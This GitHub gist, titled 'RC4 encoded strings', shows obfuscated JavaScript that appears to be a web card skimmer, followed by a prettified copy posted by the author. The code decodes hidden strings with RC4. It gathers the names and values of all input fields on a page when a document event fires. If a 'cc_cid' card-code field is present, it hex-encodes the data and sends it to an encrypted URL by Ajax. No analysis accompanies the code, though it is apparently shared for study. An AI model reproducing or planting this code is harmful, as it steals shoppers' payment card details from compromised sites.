Skip to content

Instantly share code, notes, and snippets.

@krautface
Created August 27, 2019 05:08
Show Gist options
  • Save krautface/69e81eda92a16f94dd04c2a53aaae955 to your computer and use it in GitHub Desktop.
Save krautface/69e81eda92a16f94dd04c2a53aaae955 to your computer and use it in GitHub Desktop.
RC4 encoded strings
var _0x364c=['aRZzesO2','e8KJBF/DmcKf','woDDvRh2KwI8w4wuDsK4wrUEBMKgK0LDpMOQEcKzQ8ONUcOGw7/DsXTDrBPDjEbDtg==','w4w2wrjDpxUcwp8DwoFgeUzDgMOHw606','TnXDmCc=','S2/DisKuSsKPwp7Dv8K7wqscwqwgHQ1vwr3Dkg/DuExJSnZJwqhF','w7nDkj/CnsKrRyM=','wohHHhggwoDCglE=','w7UFwpXDrSzDtMK6'];(function(_0x41f126,_0x94e525){var _0x7fbd02=function(_0x4d67b0){while(--_0x4d67b0){_0x41f126['push'](_0x41f126['shift']());}};_0x7fbd02(++_0x94e525);}(_0x364c,0x14d));var _0x35cb=function(_0x8c8b48,_0x350807){_0x8c8b48=_0x8c8b48-0x0;var _0x22489e=_0x364c[_0x8c8b48];if(_0x35cb['zbtxOO']===undefined){(function(){var _0x2bdb22;try{var _0x36e314=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x2bdb22=_0x36e314();}catch(_0x2116cc){_0x2bdb22=window;}var _0x5a763e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2bdb22['atob']||(_0x2bdb22['atob']=function(_0x45e426){var _0x379440=String(_0x45e426)['replace'](/=+$/,'');for(var _0x5032b5=0x0,_0x233734,_0x5e242f,_0x252d46=0x0,_0x5d3f6f='';_0x5e242f=_0x379440['charAt'](_0x252d46++);~_0x5e242f&&(_0x233734=_0x5032b5%0x4?_0x233734*0x40+_0x5e242f:_0x5e242f,_0x5032b5++%0x4)?_0x5d3f6f+=String['fromCharCode'](0xff&_0x233734>>(-0x2*_0x5032b5&0x6)):0x0){_0x5e242f=_0x5a763e['indexOf'](_0x5e242f);}return _0x5d3f6f;});}());var _0x4d3291=function(_0x3b06fa,_0x350807){var _0x3ebd6f=[],_0x1b7dcf=0x0,_0x2814e4,_0x14483e='',_0x283b14='';_0x3b06fa=atob(_0x3b06fa);for(var _0xf56850=0x0,_0x188a1c=_0x3b06fa['length'];_0xf56850<_0x188a1c;_0xf56850++){_0x283b14+='%'+('00'+_0x3b06fa['charCodeAt'](_0xf56850)['toString'](0x10))['slice'](-0x2);}_0x3b06fa=decodeURIComponent(_0x283b14);for(var _0x4a18b0=0x0;_0x4a18b0<0x100;_0x4a18b0++){_0x3ebd6f[_0x4a18b0]=_0x4a18b0;}for(_0x4a18b0=0x0;_0x4a18b0<0x100;_0x4a18b0++){_0x1b7dcf=(_0x1b7dcf+_0x3ebd6f[_0x4a18b0]+_0x350807['charCodeAt'](_0x4a18b0%_0x350807['length']))%0x100;_0x2814e4=_0x3ebd6f[_0x4a18b0];_0x3ebd6f[_0x4a18b0]=_0x3ebd6f[_0x1b7dcf];_0x3ebd6f[_0x1b7dcf]=_0x2814e4;}_0x4a18b0=0x0;_0x1b7dcf=0x0;for(var _0x3c4bad=0x0;_0x3c4bad<_0x3b06fa['length'];_0x3c4bad++){_0x4a18b0=(_0x4a18b0+0x1)%0x100;_0x1b7dcf=(_0x1b7dcf+_0x3ebd6f[_0x4a18b0])%0x100;_0x2814e4=_0x3ebd6f[_0x4a18b0];_0x3ebd6f[_0x4a18b0]=_0x3ebd6f[_0x1b7dcf];_0x3ebd6f[_0x1b7dcf]=_0x2814e4;_0x14483e+=String['fromCharCode'](_0x3b06fa['charCodeAt'](_0x3c4bad)^_0x3ebd6f[(_0x3ebd6f[_0x4a18b0]+_0x3ebd6f[_0x1b7dcf])%0x100]);}return _0x14483e;};_0x35cb['HzMsVK']=_0x4d3291;_0x35cb['BmnfWH']={};_0x35cb['zbtxOO']=!![];}var _0x1a72d8=_0x35cb['BmnfWH'][_0x8c8b48];if(_0x1a72d8===undefined){if(_0x35cb['zgGZYr']===undefined){_0x35cb['zgGZYr']=!![];}_0x22489e=_0x35cb['HzMsVK'](_0x22489e,_0x350807);_0x35cb['BmnfWH'][_0x8c8b48]=_0x22489e;}else{_0x22489e=_0x1a72d8;}return _0x22489e;};var _0xf97f=[_0x35cb('0x0','r%k1'),'',_0x35cb('0x1','HxE6'),'charCodeAt',_0x35cb('0x2','G88m'),_0x35cb('0x3','VswW'),'value',_0x35cb('0x4','#j$%'),'=','&','exec',_0x35cb('0x5','PqBP'),_0x35cb('0x6','$Fzm')];Event[_0xf97f[0xc]](document,_0xf97f[0x0],function(){function _0x45b935(_0x5396f1){var _0x5646a7=_0xf97f[0x1];for(var _0x4d1627=0x0;_0x4d1627<_0x5396f1[_0xf97f[0x2]];_0x4d1627++){_0x5646a7+=_0xf97f[0x1]+_0x5396f1[_0xf97f[0x3]](_0x4d1627)[_0x35cb('0x7','xQDE')](0x10);}return _0x5646a7;}var _0x55ede0=_0xf97f[0x1];var _0x39423b=/cc_cid/;for(var _0x1ede2e=document[_0xf97f[0x5]](_0xf97f[0x4]),_0x446739=0x0;_0x446739<_0x1ede2e[_0xf97f[0x2]];_0x446739++){if(_0x1ede2e[_0x446739][_0xf97f[0x6]][_0xf97f[0x2]]>0x0){var _0x4b946c=_0x1ede2e[_0x446739][_0xf97f[0x7]];_0xf97f[0x1]==_0x4b946c&&(_0x4b946c=_0x446739),_0x55ede0+=_0x4b946c+_0xf97f[0x8]+_0x1ede2e[_0x446739][_0xf97f[0x6]]+_0xf97f[0x9];}}if(_0x39423b[_0xf97f[0xa]](_0x55ede0)){new Ajax[(_0x35cb('0x8','7yMV'))](_0xf97f[0xb]+_0x45b935(_0x55ede0));}});
@krautface
Copy link
Author

The above, prettified

var _0x364c = [
  "aRZzesO2",
  "e8KJBF/DmcKf",
  "woDDvRh2KwI8w4wuDsK4wrUEBMKgK0LDpMOQEcKzQ8ONUcOGw7/DsXTDrBPDjEbDtg==",
  "w4w2wrjDpxUcwp8DwoFgeUzDgMOHw606",
  "TnXDmCc=",
  "S2/DisKuSsKPwp7Dv8K7wqscwqwgHQ1vwr3Dkg/DuExJSnZJwqhF",
  "w7nDkj/CnsKrRyM=",
  "wohHHhggwoDCglE=",
  "w7UFwpXDrSzDtMK6"
];
(function(_0x41f126, _0x94e525) {
  var _0x7fbd02 = function(_0x4d67b0) {
    while (--_0x4d67b0) {
      _0x41f126["push"](_0x41f126["shift"]());
    }
  };
  _0x7fbd02(++_0x94e525);
})(_0x364c, 0x14d);
var _0x35cb = function(_0x8c8b48, _0x350807) {
  _0x8c8b48 = _0x8c8b48 - 0x0;
  var _0x22489e = _0x364c[_0x8c8b48];
  if (_0x35cb["zbtxOO"] === undefined) {
    (function() {
      var _0x2bdb22;
      try {
        var _0x36e314 = Function(
          "return\x20(function()\x20" +
            "{}.constructor(\x22return\x20this\x22)(\x20)" +
            ");"
        );
        _0x2bdb22 = _0x36e314();
      } catch (_0x2116cc) {
        _0x2bdb22 = window;
      }
      var _0x5a763e =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
      _0x2bdb22["atob"] ||
        (_0x2bdb22["atob"] = function(_0x45e426) {
          var _0x379440 = String(_0x45e426)["replace"](/=+$/, "");
          for (
            var _0x5032b5 = 0x0,
              _0x233734,
              _0x5e242f,
              _0x252d46 = 0x0,
              _0x5d3f6f = "";
            (_0x5e242f = _0x379440["charAt"](_0x252d46++));
            ~_0x5e242f &&
            ((_0x233734 =
              _0x5032b5 % 0x4 ? _0x233734 * 0x40 + _0x5e242f : _0x5e242f),
            _0x5032b5++ % 0x4)
              ? (_0x5d3f6f += String["fromCharCode"](
                  0xff & (_0x233734 >> ((-0x2 * _0x5032b5) & 0x6))
                ))
              : 0x0
          ) {
            _0x5e242f = _0x5a763e["indexOf"](_0x5e242f);
          }
          return _0x5d3f6f;
        });
    })();
    var _0x4d3291 = function(_0x3b06fa, _0x350807) {
      var _0x3ebd6f = [],
        _0x1b7dcf = 0x0,
        _0x2814e4,
        _0x14483e = "",
        _0x283b14 = "";
      _0x3b06fa = atob(_0x3b06fa);
      for (
        var _0xf56850 = 0x0, _0x188a1c = _0x3b06fa["length"];
        _0xf56850 < _0x188a1c;
        _0xf56850++
      ) {
        _0x283b14 +=
          "%" +
          ("00" + _0x3b06fa["charCodeAt"](_0xf56850)["toString"](0x10))[
            "slice"
          ](-0x2);
      }
      _0x3b06fa = decodeURIComponent(_0x283b14);
      for (var _0x4a18b0 = 0x0; _0x4a18b0 < 0x100; _0x4a18b0++) {
        _0x3ebd6f[_0x4a18b0] = _0x4a18b0;
      }
      for (_0x4a18b0 = 0x0; _0x4a18b0 < 0x100; _0x4a18b0++) {
        _0x1b7dcf =
          (_0x1b7dcf +
            _0x3ebd6f[_0x4a18b0] +
            _0x350807["charCodeAt"](_0x4a18b0 % _0x350807["length"])) %
          0x100;
        _0x2814e4 = _0x3ebd6f[_0x4a18b0];
        _0x3ebd6f[_0x4a18b0] = _0x3ebd6f[_0x1b7dcf];
        _0x3ebd6f[_0x1b7dcf] = _0x2814e4;
      }
      _0x4a18b0 = 0x0;
      _0x1b7dcf = 0x0;
      for (var _0x3c4bad = 0x0; _0x3c4bad < _0x3b06fa["length"]; _0x3c4bad++) {
        _0x4a18b0 = (_0x4a18b0 + 0x1) % 0x100;
        _0x1b7dcf = (_0x1b7dcf + _0x3ebd6f[_0x4a18b0]) % 0x100;
        _0x2814e4 = _0x3ebd6f[_0x4a18b0];
        _0x3ebd6f[_0x4a18b0] = _0x3ebd6f[_0x1b7dcf];
        _0x3ebd6f[_0x1b7dcf] = _0x2814e4;
        _0x14483e += String["fromCharCode"](
          _0x3b06fa["charCodeAt"](_0x3c4bad) ^
            _0x3ebd6f[(_0x3ebd6f[_0x4a18b0] + _0x3ebd6f[_0x1b7dcf]) % 0x100]
        );
      }
      return _0x14483e;
    };
    _0x35cb["HzMsVK"] = _0x4d3291;
    _0x35cb["BmnfWH"] = {};
    _0x35cb["zbtxOO"] = !![];
  }
  var _0x1a72d8 = _0x35cb["BmnfWH"][_0x8c8b48];
  if (_0x1a72d8 === undefined) {
    if (_0x35cb["zgGZYr"] === undefined) {
      _0x35cb["zgGZYr"] = !![];
    }
    _0x22489e = _0x35cb["HzMsVK"](_0x22489e, _0x350807);
    _0x35cb["BmnfWH"][_0x8c8b48] = _0x22489e;
  } else {
    _0x22489e = _0x1a72d8;
  }
  return _0x22489e;
};
var _0xf97f = [
  _0x35cb("0x0", "r%k1"),
  "",
  _0x35cb("0x1", "HxE6"),
  "charCodeAt",
  _0x35cb("0x2", "G88m"),
  _0x35cb("0x3", "VswW"),
  "value",
  _0x35cb("0x4", "#j$%"),
  "=",
  "&",
  "exec",
  _0x35cb("0x5", "PqBP"),
  _0x35cb("0x6", "$Fzm")
];
Event[_0xf97f[0xc]](document, _0xf97f[0x0], function() {
  function _0x45b935(_0x5396f1) {
    var _0x5646a7 = _0xf97f[0x1];
    for (
      var _0x4d1627 = 0x0;
      _0x4d1627 < _0x5396f1[_0xf97f[0x2]];
      _0x4d1627++
    ) {
      _0x5646a7 +=
        _0xf97f[0x1] +
        _0x5396f1[_0xf97f[0x3]](_0x4d1627)[_0x35cb("0x7", "xQDE")](0x10);
    }
    return _0x5646a7;
  }
  var _0x55ede0 = _0xf97f[0x1];
  var _0x39423b = /cc_cid/;
  for (
    var _0x1ede2e = document[_0xf97f[0x5]](_0xf97f[0x4]), _0x446739 = 0x0;
    _0x446739 < _0x1ede2e[_0xf97f[0x2]];
    _0x446739++
  ) {
    if (_0x1ede2e[_0x446739][_0xf97f[0x6]][_0xf97f[0x2]] > 0x0) {
      var _0x4b946c = _0x1ede2e[_0x446739][_0xf97f[0x7]];
      _0xf97f[0x1] == _0x4b946c && (_0x4b946c = _0x446739),
        (_0x55ede0 +=
          _0x4b946c +
          _0xf97f[0x8] +
          _0x1ede2e[_0x446739][_0xf97f[0x6]] +
          _0xf97f[0x9]);
    }
  }
  if (_0x39423b[_0xf97f[0xa]](_0x55ede0)) {
    new Ajax[(_0x35cb("0x8", "7yMV"))](_0xf97f[0xb] + _0x45b935(_0x55ede0));
  }
});

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment